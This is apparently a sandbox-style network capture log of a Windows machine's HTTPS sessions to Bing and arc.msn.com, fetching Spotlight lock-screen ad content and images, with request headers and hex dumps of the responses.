2024-12-06 17:45:48 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-12-06 17:45:48 UTC	627	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Fri, 06 Dec 2024 17:45:48 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.df741002.1733507148.2ce4802
2024-12-06 17:45:48 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49811	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:48 UTC	2610	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174545Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7d4a86bb01ee47c388ecdaf0936128f0&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-280815&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p= Cache-Control: no-cache MS-CV: fpZFV58WtUqgL43x.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 17:45:48 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2968 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: L0BE2Am6Qrg1Ak/yFmiuSpkSMrtjPm0L2QX2ImSLIO4Gzy6epPPnvKa7v2A9PMxFGJyv2hyEVnBv59AD1wK26kMwTZm7cD4YReZjVT4YwiHtpBI0iP61dWiBBD1epsz6w7lSn+FR12QHCeF8JWFjUnSKv0adNzHrgM3cBt80X/VE/jM3nloho3itB/nlHTk21dlsoyh9pagUF3dEezjbyQVgXtd2vX9xN9nGf8SvtrXuLqOdOCbsrKX34f2a9emQuf3tklXBw+eD/JKHlVJ2DwJEo2HmgWojljPlAeg7YRDy6OA1Egy2Ap6HMg7YknNaxJfneMA4fs2zNquR0bHK3w== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:47 GMT Connection: close
2024-12-06 17:45:48 UTC	2968	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49812	20.223.35.26	443	6096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:48 UTC	2608	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174545Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6cf0ab8483b6448aa6a085f9c32b39a8&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-338388&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=531538185&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p= Cache-Control: no-cache MS-CV: fpZFV58WtUqgL43x.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 17:45:49 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: CcQuLRj4cma9efl0LmNPQqVOvbt22w9n6GxTfY8r+FqS2gxl9T8UdwiKXLJf/hh4qkGVZ0W+V4NTKvonN3nHCDA2KQ2dZefzn4QDTPNj6jdMQ6IMFO0u87iI4sxXgk/h2nj7qrztmGUYmH6s5E8V5OUYY10PxTLBmhmpkxKY2DtKJjHnvc4hwGwo46BQnsqVucxrW2RoDSkp8Esqn0+3Y21GdeEiMFflm/Vyw3yyUeYdJcuwII3KG/s2Be1HqbVSFBojUxJMiWl4Z8h/JweB7W1raMx3Q8je3NJIjQylxsvK4On6JyHcismVE1i0ghjTt1nk5tkO5BpBd5lnu0sTbg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:48 GMT Connection: close
2024-12-06 17:45:49 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49814	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:48 UTC	2638	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174545Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=87d78a0d2ff94d968796b3668baa66be&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-338387&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=532244186,531174684,531174684&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p= Cache-Control: no-cache MS-CV: fpZFV58WtUqgL43x.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 17:45:49 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23245 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: L5gspTNP6JewglwOryOtHP34ceL7pKkPhb+xKuu0zGsrTve8v/HtRvfvmoK4y0SxDwbAj2NZmc4v3HjUJZtvEQVLBuHfhrR2j9jezFDq5xETSEZfxuiRDWER9XTYx+g8ZL9Vc8c6LoUN+1b6vrJpZJZuFB7j78fk3HQoIJe0y53tHqkXIA5nADQBicJAlpHSu/M9BvD26rgd6niHJ7YN+0ugAXGAWf3HPa7FWARfevjFKZJaZigknkZEZA4uV2K01aF53Rb6bQ2tvLm1o7d+U4Ku8mjg11HldVuCDcdqElc6yLfwwlOSGmx87g2wvxz5bJJZXdmVedZALr8pt/+XBQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:48 GMT Connection: close
2024-12-06 17:45:49 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-12-06 17:45:49 UTC	7676	IN	Data Raw: 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 70 6f 72 74 72 61 69 74 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 73 68 6f 77 49 6d 61 67 65 4f 6e 53 65 63 75 72 65 4c 6f 63 6b 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 66 69 6c 65 53 69 7a 65 5c Data Ascii: ",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"image\"},\"portraitImage\":{\"type\":\"image\"},\"showImageOnSecureLock\":{\"isOptional\":true,\"type\":\"boolean\"},\"onRender\":{\"type\":\"action\"}},\"properties\":{\"landscapeImage\":{\"fileSize\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49817	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:48 UTC	346	OUT	GET /th?id=OADD2.10239385916955_18M71XEVCBVYQN1KM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:49 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 272430 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CC8F8CE1BC51481FA46BBAF73AE6E960 Ref B: EWR30EDGE1105 Ref C: 2024-12-06T17:45:49Z Date: Fri, 06 Dec 2024 17:45:48 GMT Connection: close
2024-12-06 17:45:49 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 31 39 20 31 34 3a 33 39 3a 34 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.4 (Windows)2024:04:19 14:39:428C
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 0b ea 5a b7 ab f1 ad 50 b5 8f f8 ea fc 35 9c f7 35 83 ba 25 8d 64 a7 c9 04 8f 4e 81 ea 59 3e 7f 9e a0 d5 6a 50 92 0a 36 ec ab 95 1c 91 ef a5 70 b3 21 dd 4d dd be 9f 22 c6 86 93 f7 74 81 e8 82 35 a7 c9 44 6d 4d 93 fb f4 05 92 19 b7 7f ce f4 e8 e2 fe 3a 37 51 bb 65 05 13 25 4b 1f 99 55 7c da 48 ee 64 7a 35 1a 76 2f 6e d9 55 e7 6a 87 cd 91 ea 6d db e9 37 60 6e e5 5b a5 df f2 55 79 17 f8 2a fe dd 94 d9 16 97 30 8c b9 23 a6 79 75 a9 25 b5 37 ec d5 a7 3c 45 ca cc bf 22 99 e5 56 bf d9 a3 fe 3a 64 96 b4 e3 34 2e 56 66 f9 54 b1 c7 57 3e cb 44 91 51 cd d8 39 75 2a f9 1f e7 14 e8 e0 91 aa ec 70 7f 7e a7 8e 0a 57 07 1e c6 74 70 7f 05 4b 05 b6 fa d4 8e 0a 23 8a a7 da 32 9c 59 4e 3b 6a 92 3b 6a d0 8d 69 d5 3c ec b8 c5 5a e5 08 e3 fe 0a 7f 95 fb ec 55 cd bb 28 8e 8e 60 Data Ascii: 